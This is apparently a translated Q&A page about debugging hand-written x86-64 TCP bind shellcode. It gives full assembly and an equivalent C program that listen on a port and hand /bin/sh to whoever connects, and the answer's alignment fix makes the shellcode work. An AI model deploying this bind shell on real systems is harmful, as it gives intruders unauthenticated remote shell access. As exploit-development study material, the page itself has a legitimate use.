linux - 为什么 accept() 返回 ERESTARTSYS?
问题描述
我正在尝试构建一个 TCP 绑定 shellcode,它以 C 语言编写相同的东西为模型。
这是汇编:
global _start
section .text
_start:
; socket() call
xor rax,rax
add rax,41
xor rdi,rdi
add rdi,2
xor rsi,rsi
add rsi,1
xor rdx,rdx
syscall
; save file descriptor
mov rbx,rax ; rbx is a 'safe' register, syscalls won't trample it
; build sockaddr_in struct - push in reverse needs to be a pointer
xor rdx,rdx
push rdx ; INADDR_ANY bind to any ip address
push word 0xa1a ; port 6666
push 0x2 ; AF_INET - required for ipv4
; build bind() call
mov rdi,rbx ; socket file descriptor
mov rsi,rsp ; pointer to struct
xor rdx,rdx
add rdx,16 ; size of struct
xor rax,rax
add rax,49
syscall
; build listen() call
xor rax,rax
add rax,50
mov rdx,rbx ; get the fd from the register we saved it to
xor rsi,rsi
add rsi,1 ; backlog size
syscall
; build accept() call
xor rax,rax
add rax,43
mov rdi,rbx ; safe register still has fd
xor rsi,rsi ; used to be mov rsi,rsp ; nothing new pushed, still pointing at our struct
xor rdx,rdx
; add rdx,16 ; still size of struct
syscall
mov r12,rax ; save fd for accepted socket, r12 is also a 'safe' register
; build dup2() calls
; these are needed to re-route stdout/err/in to our socket
xor rax,rax
add rax,33
mov rdi,r12 ; get our open/accepted socket fd
xor rsi,rsi ; 0 for stdin
syscall
xor rax,rax
add rax,33
mov rdi,r12
xor rsi,rsi
add rsi,1 ; stdout
syscall
xor rax,rax
add rax,33
mov rdi,r12
xor rsi,rsi
add rsi,2 ; stderr
syscall
; spawn the shell
jmp payload
shell: db '/bin/sh'
shell_term: db 1
payload:
xor rax,rax
push rax
mov rsi,rsp ;null pointer for argv
mov rdx,rsp ;null pointer for envp
lea rdi,[rel shell]
dec byte [rel shell_term]
add rax,59
syscall
我已经通过 edb-debugger 运行了该程序,它一切正常,但会在accept()
调用时挂起。然后我可以暂停执行,它会将 ERESTARTSYS 错误放入rax
. 我还尝试了几个不同版本的调用(在代码中注释)。但他们都返回同样的东西。我从谷歌知道这个错误与回忆功能有关,但老实说,我并没有真正完全理解它到底想告诉我什么。
另一个奇怪的事情是我可以注入 asm(我有一个基本的 c 文件可以这样做)并且它会运行良好,但是对于它的行为有一些奇怪的事情我不明白。1. 端口不是我设置的,它似乎是随机的(通常是 30000+) 2. 我可以nc
在本地(但不能远程)连接到端口 3. shell 将在我运行注入的终端上生成从但仅在我在nc
连接的终端上按 Enter 之后。无论是否输入命令都会发生这种情况,但无论哪种方式都不会在nc
连接的终端上提供任何输出。
我已经通过 edb-debugger验证了我的socket()
、bind()
、sockaddr_in
struct 和部分并查看了代码。listen()
我觉得它已缩小到accept()
通话范围。但是,它绑定到错误的端口这一事实让我也怀疑bind()
它sockaddr_in
。但它们似乎工作正常。
这是我正在为我的 asm 建模的 C 代码:
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <stdio.h>
int main(void)
{
int clientfd, sockfd;
int port = 1234;
struct sockaddr_in mysockaddr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
mysockaddr.sin_family = AF_INET; //--> can be represented in numeric as 2
mysockaddr.sin_port = htons(port);
mysockaddr.sin_addr.s_addr = INADDR_ANY;// --> can be represented in numeric as 0 which means to bind to all interfaces
// printf("size of sin_family: %d\n", (int)sizeof(mysockaddr.sin_family));
// printf("size of sin_port: %d\n", (int)sizeof(mysockaddr.sin_port));
// printf("size of sin_addr: %d\n", (int)sizeof(mysockaddr.sin_addr));
// printf("size of sin_addr.s_addr: %d\n", (int)sizeof(mysockaddr.sin_addr.s_addr));
// printf("size of struct: %d\n", (int)sizeof(mysockaddr));
bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
listen(sockfd, 1);
clientfd = accept(sockfd, NULL, NULL);
dup2(clientfd, 0);
dup2(clientfd, 1);
dup2(clientfd, 2);
char * const argv[] = {"sh",NULL, NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
这段代码的工作方式与我预期的完全一样。
解决方案
正如@jester 所说,该结构是用错误的对齐方式构建的。我做了以下更改,它完美无缺。
xor rdx,rdx
push rdx
push word 0xa1a
push word 0x2 ; added 'word' to correct alignment
推荐阅读
- fft - 检查数字 (M) 是否是其他数字 (2,3,5,7) 的幂的乘积
- cytoscape - 如何更改 Cytoscape 中选定节点的大小?
- android - 在 Android Studio 3.5.1 中执行 taskAction$gradle 错误
- processing - 如何在循环中偏移正方形?
- java - Pattern.matcher 和 Predicate.test 的不同响应
- html - 是否可以将第二个孩子的宽度设置为行列表中的最大宽度?
- javascript - 为什么articles[0] 未定义?
- cypress - 使用 cy.viewport() 时如何触发窗口调整大小事件
- javascript - 嵌套的 redux 状态更新触发器在每个兄弟姐妹上呈现
- python - Python 多部分文件上传与海报 - 设置正在发送的文件的名称